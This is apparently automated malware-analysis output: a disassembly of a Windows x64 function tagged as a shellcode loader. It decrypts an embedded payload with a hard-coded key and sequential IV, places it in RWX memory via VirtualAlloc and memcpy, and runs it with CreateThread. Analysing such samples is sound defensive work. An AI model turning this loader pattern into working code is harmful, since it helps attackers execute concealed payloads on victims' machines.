Function at 0x1400b6090
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xb8
lea rbp, [rsp + 0xb0]
call fcn.14000a6c0
lea rax, [rbp - 0x40]
lea rdx, str.EncryptionKey128
mov rcx, rax
call fcn.140016b80
movabs rax, 0x706050403020100
movabs rdx, 0xf0e0d0c0b0a0908
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov ecx, 0
call fcn.140016bb0
mov dword [rbp - 4], eax
mov dword [rbp - 0x54], 0
lea rax, [rbp - 0x19]
mov rcx, rax
call fcn.140069b10
mov edx, dword [rbp - 4]
lea rcx, [rbp - 0x19]
lea rax, [rbp - 0x70]
mov r8, rcx
mov rcx, rax
call fcn.14009e470
lea rax, [rbp - 0x19]
mov rcx, rax
call fcn.140069b60
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.1400255d0
mov esi, eax
lea rax, [rbp - 0x70]
mov edx, 0
mov rcx, rax
call fcn.14009e540
mov rbx, rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.1400255d0
mov edi, eax
lea rax, [rbp - 0x40]
mov edx, 0
mov rcx, rax
call fcn.1400255f0
mov r8, rax
mov edx, dword [rbp - 4]
lea rax, [rbp - 0x19]
lea rcx, [rbp - 0x54]
mov qword [rsp + 0x38], rcx
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rbx
lea rcx, [rbp - 0x50]
mov qword [rsp + 0x20], rcx
mov r9d, edi
mov rcx, rax
call fcn.140016930
mov eax, dword [rbp - 4]
sub eax, 0x1c
mov dword [rbp - 8], eax
mov ebx, dword [rbp - 8]
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.14009e440
mov r8d, 5
mov rdx, rbx
mov rcx, rax
call fcn.140015680
mov ebx, dword [rbp - 8]
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.14009e440
mov rdx, rbx
mov rcx, rax
call fcn.140015710
mov eax, dword [rbp - 8]
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x1400b621c
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.VirtualAlloc_failed:__lu_n
mov rcx, rax
call fcn.140015ca0
mov ebx, 1
jmp 0x1400b62fb
mov ebx, dword [rbp - 8]
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.14009e440
mov rdx, rax
mov rax, qword [rbp - 0x10]
mov r8, rbx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x1400156e0]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400b62b6
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov edx, eax
lea rax, str.CreateThread_failed:__lu_n
mov rcx, rax
call fcn.140015ca0
mov rax, qword [rbp - 0x10]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ebx, 1
jmp 0x1400b62fb
mov rax, qword [rbp - 0x18]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov ebx, 0
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.14009e4f0
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14009e4f0
mov eax, ebx
jmp 0x1400b634e
add rsp, 0xb8
pop rbx
pop rsi
pop rdi
pop rbp
ret